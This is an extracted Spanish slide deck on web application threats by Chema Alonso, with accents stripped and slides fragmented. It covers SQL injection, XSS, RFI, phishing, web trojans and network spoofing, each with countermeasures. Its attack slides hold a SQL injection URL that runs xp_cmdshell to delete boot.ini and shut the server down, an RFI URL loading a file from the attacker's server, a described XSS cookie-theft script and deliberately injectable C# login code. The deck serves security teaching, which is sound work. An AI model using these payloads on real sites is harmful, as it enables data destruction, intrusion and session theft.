Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
Amenazas Web
Chema Alonso MS MVP Windows Server Security chema@informatica64.com
Vulnerabilidades: RFI
Vulnerabilidades: Phising Vulnerabilidades: WebTrojan Vulnerabilidades: Capa 8
Aplicaciones Web
Intranet (ERP/CRM/Productividad)
Extranet (Productividad/B2B/B2C)
Arquitectura Multicapa
DCOM BBDD
WebServer
Browser
WebServer
WebService
BBDD
RPC
Lgica de la Aplicacin
Almacn De Datos
Amenazas
Zone-h contabiliza 2.500 intrusiones Web con xito cada da en 2004. Se atacan todas las tecnologas Los ataques se han escalado desde el sistema operativo a la aplicacin. Ataques no masivos. Motivos:
Cliente - Riesgos
Navegador de Internet:
HTML/DHTML vbScript/JavaScript/Jscript Applets Java ActiveX Shockwave Flash Cifrado cliente: Atrise. Ofuscacin de cdigo.
Programas embebidos
Cdigos No protegidos
Cdigo y poder
Tanto para defenderse como para atacar Con los atacantes y defensores
Publicar el cdigo fuente sin hacer nada ms degrada la seguridad Por el contrario, publicar el cdigo fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.
Software Seguro
El software Fiable es aquel que hace lo que se supone que debe hacer. El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas.
Para estar seguro, debes de ejecutar solo software perfecto :-) O, hacer algo para mitigar ese algo mas
Cliente - Riesgos
Ninguna proteccin en cliente es buena Utilizacin de tcnicas de MITM
Decompiladores
Flash Java
Servidor Web
Ejecuta cdigo en contextos privilegiados. Lenguajes potentes Acceden a BBDD Envan programas a clientes Transferir ficheros Ejecutar comandos sobre el sistema. Soporte para herramientas de administracin de otro software. Cdigos de Ejemplo
SGBD
Lenguaje de 3 y 4 Generacin. Soporta mltiples bases de datos. Catlogo global de datos. Ejecuta programas sobre Sistema. LOPD. Transacciones econmicas. Informacin clave de negocio.
Datos de usuario.
Formularios
Datos de usuario utilizados en consultas a base de datos. Mala construccin de consultas a bases de datos.
Riesgos
Permiten al atacante:
Saltar restricciones de acceso. Elevacin de privilegios. Extraccin de informacin de la Base de Datos Parada de SGBDR. Ejecucin de comandos en contexto usuario bd dentro del servidor.
Tipos de Ataques
Ejemplo 1:
****************
Tipos de Ataques
Ejemplo 1 (cont)
Usuario Clave Administrador
or 1=1
Demo
Tipos de Ataques
Ejemplo 2:
http://www.miweb.com/prog.asp?parametro1=hola
http://www.miweb.com/prog.asp?parametro1=1
Tipos de Ataques
Ejemplo 2 (cont):
http://www.miweb.com/prog.asp?parametro1= union select nombre, clave,1,1,1 from tabla_usuarios; otra instruccin; xp_cmdshell(del c:\boot.ini); shutdown - http://www.miweb.com/prog.asp?parametro1=-1 union select .....; otra instruccin; --
Demo
Contramedidas
No confianza en medias de proteccin en cliente. Comprobacin de datos de entrada. Construccin segura de sentencias SQL. Fortificacin de Servidor Web.
Cdigos de error. Restriccin de verbos, longitudes, etc.. Filtrado de contenido HTTP en Firewall.
Fortificacin de SGBD.
Contramedidas
Desarrollo .NET Redirigir a una pgina personalizada en caso de error <customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm"> Web.Config <error statusCode="403" redirect="NoAccess.htm"/>
<error statusCode="404" redirect="FileNotFound.htm"/> </customErrors>
Contramedidas
Contramedidas
protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +" and password='"+ txtPassword.Text +"'"; cmd.CommandType = CommandType.Text; SqlDataReader dr = cmd.ExecuteReader(); if (dr.HasRows){ //Cdigo para permitir el paso a la aplicacin Response.Write("<script>alert('Acceso permitido');</script>"); } else{ //Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }
Contramedidas
Consultas parametrizadas protected void Button1_Click(object sender, EventArgs e){ SqlConnection conn = new SqlConnection(connstr); conn.Open(); SqlCommand cmd = new SqlCommand(); cmd.Connection = conn; cmd.CommandText = "Select * from Usuarios where login=@login and password=@pass"; cmd.Parameters.AddWithValue("login", txtLogin); cmd.Parameters.AddWithValue("pass", txtPassword.Text); cmd.CommandType = CommandType.Text; dr = cmd.ExecuteReader(); if (dr.HasRows){//Cdigo para permitir el paso a la aplicacin Response.Write("<script>alert('Acceso permitido');</script>"); } else{//Codigo para rechazar el usuario Response.Write("<script>alert('Acceso denegado');</script>"); } conn.Close(); }
Datos almacenados en servidor desde cliente. Datos van a ser visualizados por otros cliente/usuario. Datos no filtrados. No comprobacin de que sean dainos al cliente que visualiza.
Riesgos
Tipos de Ataques
Mensajes en Foros. Firma de libro de visitas. Contactos a travs de web. Correo Web.
Demo
Mediante esta tcnica se puede robar sesiones de una manera bastante sencilla Bastara con realizar un script que llamase a una pgina alojada en nuestro servidor pasndole la cookie Este Script se colara en el servidor de la victima aprovechando un punto vulnerable a XSS Cuando un usuario este logueado en el servidor y ejecute el script se enviara a nuestro servidor el contenido de la cookie
Demo
Contramedidas
Fortificacin de aplicacin
Fortificacin de Clientes
Ejecucin de clientes en entorno menos privilegiado. Fortificacin de navegador cliente.
MBSA. Polticas.
Contramedidas
Desarrollo .NET
Para deshabilitarlo
<%@ Page ValidateRequest=false %>
Vulnerabilidad propia de pginas PHP dinmicas que permite enlace de archivos remotos situados en otros servidores Se debe a una mala programacin o uso de la funcin include() Esta vulnerabilidad no se da en pginas programadas en un lenguaje que no permita la inclusin de ficheros ajenos al servidor
En pginas de este tipo se puede incluir ficheros que estn en nuestro servidor
http://victima.com/pagvuln.php?page=http://[misitio]/miFichero
Existen herramientas que permite explorar un sitio Web en busca de este tipo de vulnerabilidades (rpvs)
Mediante las shell PHP se pueden ejecutar comandos en una pgina Web Usando RFI se puede incluir un fichero que ejecute comandos, tales como listar directorios, obtener y colocar ficheros, etc. El inconveniente es que la mayora de servidores Web en PHP tienen deshabilitadas las funciones exec, system o passthru que impiden la ejecucin de comandos
Sin embargo, existen funciones como show_source(archivo) que permiten la visualizacin del cdigo fuente de una pgina A su vez, existen otra serie de funciones que nos permiten listar el contenido de un directorio El uso de estas funciones no puede ser limitado y no depende del SO sobre el que se encuentra instalado el Servidor Web
Demo
Vulnerabilidades: Phising
Basado en tcnicas de Ingeniera Social. Se aprovecha de la confianza de los usuarios. Se aprovecha de la falta de formacin en seguridad de los usuarios. Certificados digitales no generados por Entidades Emisoras de Certificados de confianza.
Riesgos
Suplantacin de Sitios Web para engaar al usuario. Robo de credenciales de acceso a web restringidos.
Tipos de Ataques
Falsificacin hosts
Se engaa la navegacin.
Exploits
infohacking.com
Contramedidas
Uso
de CA de confianza Formacin a usuarios Gestin de actualizaciones de seguridad Cdigos de aplicaciones seguras Control fsico de la red Comprobacin DHCP
Vulnerabilidades: WebTrojan
Explotacin de Ataque
Riesgos
Tipos de Ataques
Programacin de un troyano en PHP, ASP o JSP Utilizacin de objetos FileObject Subida mediante ASP Upload, FTP o RFI Busqueda del lugar de almacenamiento Invocacin por URL pblica del servidor Web
Demo
Contramedidas
Menor Privilegio
Ejecucin de programas en sitios restringidos Listado de directorios ocultos Usuario de servidor en contexto controlado
Contramedidas
Desarrollo .NET
Vulnerabilidades: Capa 8
Explotacin de Ataque
Hacking tico
Riesgos
Insospechados:
Bases de datos pblicas No proteccin de datos No proteccin de sistemas .....
Tipos de Ataques
WS_ftp.log
Estadsticas pblicas
Webalyzer
Demo
Contramedidas
Robots.txt
LOPD y LSSI
www.lssi.es
Contramedidas
Preguntas ?
Troyanos
Hay un amigo en mi
Video
Que puede hacer un troyano
Troyano
Programa que se ejecuta en tu mquina y cuyo control no depende de ti. Como el .. Mil formas, mil colores Los Hackers la llaman la girlfriend
Obtencin de Privilegios
Fallo en la cadena:
Procesos:
Sistema no cerrado.
Tecnologa:
Fallo en sw de sistema operativo Fallo en sw ejecucin de cdigos.
Personas:
Ingeniera Social: Que lindo programita! Navegacin privilegiada
Objetivos
Control remoto:
Instaladores de otro SW
Demo:
Un troyano de andar por casa pa phisear
Demo:
Un troyano de andar por casa pa meter un backdoor
Demo:
Un troyano de andar por casa pa abrir una shell
Demo:
Un troyano de andar por casa pa robar una shell
Deteccin de Troyanos
Anti-Mallware
Antivirus AntiSpyware
Tcnicas de Spoofing
Las
Niveles Afectados
SERVICIO Nombres de dominio Direcciones de correo electrnico Nombres de recursos compartidos Direccin IP
RED
ENLACE
Direccin MAC
Spoofing ARP Envenenamiento de conexiones. Man in the Middle. Spoofing IP Rip Spoofing. Hijacking. Spoofing SMTP Spoofing DNS WebSpoofing.
Tcnicas de Sniffing
Saltar protecciones MAC. Suplantar entidades en clientes DHCP. Suplantar routers de comunicacin.
Solo tiene sentido en comunicaciones locales.
Direccin Fsica
Tiene como objetivo definir un identificador nico para cada dispositivo de red. Cuando una mquina quiere comunicarse con otra necesita conocer su direccin fsica. Protocolo ARP No se utilizan servidores que almacenen registros del tipo: Direccin MAC <-> Direccin IP. Cada equipo cuenta con una cach local donde almacena la informacin que conoce.
1.1.1.1
Medidas preventivas.
Certificado de comunicaciones.
Utilizan test de funcionamiento anmalo. Test ICMP. Test DNS. Test ARP.
Web MVPs
TechNews
mailto:technews@informatica64.com
Contacto
Chema Alonso
chema@informatica64.com
Informatica64
http://www.informatica64.com http://www.informatica64.com/hol.htm http://elladodelmal.blogspot.com i64@informatica64.com +34 91 226 82 08